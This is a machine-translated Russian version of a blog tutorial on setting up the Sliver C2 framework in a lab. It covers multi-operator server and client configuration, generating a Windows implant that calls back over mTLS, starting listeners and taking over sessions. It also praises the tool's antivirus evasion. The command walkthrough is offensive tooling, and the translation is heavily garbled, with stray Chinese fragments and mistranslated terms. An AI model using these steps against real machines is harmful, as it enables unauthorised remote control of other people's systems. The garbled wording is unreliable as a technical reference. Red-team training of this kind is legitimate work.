Щепка C2 от входа до сути
Щепка C2 от входа до сути

В предыдущей статье,мы говорили оSliverИспользование рамок。Если это однопользовательский режим,Нам достаточно играть на стороне сервера。ноSliverэто поддержкаC2структурный(То есть сервер и клиент)。Давайте изучим эту статью вместе!Примечание. Эта статья предназначена только для изучения и исследования, не используйте ее незаконно.

SliverПроект учитывает многопользовательскую и многоплатформенную генерацию.Shell。

Экспериментальная среда

  • Sliver Server (192.168.123.23)
  • Sliver Client (192.168.123.74)
  • Целевой дрон (192.168.123.129) Настроить сервер В предыдущей статье мы уже примерно разобрались с установкой и запуском сервера. Из-за проблем с сетью рекомендуется загрузить скомпилированный файл напрямую.

Запустить сервер

Язык кода:javascript
копировать
./sliver-server_linux

Если вы одиночный пользователь, на этом установка завершена, и вы можете напрямую выполнять соответствующие команды в терминале. Но если существует сотрудничество с несколькими клиентами, необходимы следующие шаги.

Создать файл конфигурации клиента
Язык кода:javascript
копировать
new-operator --name Dabiaoge --lhost IP сервера сервера #Создаем нового клиента
multiplayer #Включить многопользовательский режим

В это время,Будет создан файл конфигурации клиента./root/tool/Dabiaoge_192.168.123.23.cfg,Здесь я создал только одного пользователя,Если есть несколько пользователей,ИсправлятьnameСтоимость。Следует отметить, что,serverПорт прослушивания по умолчанию31337。如果要Исправлять的话 vim ~/.sliver/configs/server.json

Конфигурация установки Sliver Client

Здесь для удобства,Мы по-прежнему используем скомпилированный напрямуюClient

Измените файл конфигурации, только что созданный сервером..cfgЗагрузить в клиент。

Импортировать файл конфигурации

Язык кода:javascript
копировать
./sliver-client_linux import /root/tool/Dabiaoge_192.168.123.23.cfg

На этом установка Sliver и настройка архитектуры C/S завершены.

создать оболочку

Формат команды следующий:

Язык кода:javascript
копировать
generate --mtls <Server IP> --save ./test.exe --os Windows

Детали команды:

--mtls:Протокол прослушивания(включатьhttp、mtls、grpc )

Включить мониторинг

Как и в предыдущем шаге, создаем оболочку所用的Протокол прослушивания为mtls,Итак, нам нужно настроитьmtlsТип мониторинга。

Выполнить команду в терминале

Язык кода:javascript
копировать
mtls

ВведяjobsЗаказ,Вы можете просмотреть включенный в данный момент мониторинг.

Порт по умолчанию8888 Если вы хотите указать порт, выполните команду

Язык кода:javascript
копировать
mtls -l 9999

Просмотрите сгенерированную оболочку

Язык кода:javascript
копировать
implants

После запуска оболочки и сервер, и клиент получат информацию о сеансе. В основном он включает идентификатор сеанса, IP-адрес внешней сети, имя хоста, платформу, время и т. д.

сеансовые операции

Язык кода:javascript
копировать
sessions -i id  #Вход в сессию
sessions -k id  #Завершить сеанс

После входа в сессию,ШуказуmsfКонсоль та же самая。проходитьhelpЗаказ,Мы можем получить соответствующие параметры выполнения.

Подвести итог

по моему мнению,SliverСамым большим преимуществом является то, что эффект предотвращения уничтожения намного лучше, чем у других фреймворков.。Играбельность также относительно высока.,Простота установки и кроссплатформенность. Но сгенерированная оболочка относительно велика.


Авторские права принадлежат: старшему двоюродному брату Сяояози.

Ссылка на эту статью:https://cloud.tencent.com/developer/article/2171683

Лицензия: Creative Commons Attribution-NonCommercial 4.0 International. Перепечатка цитируемых статей регулируется той же лицензией.

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose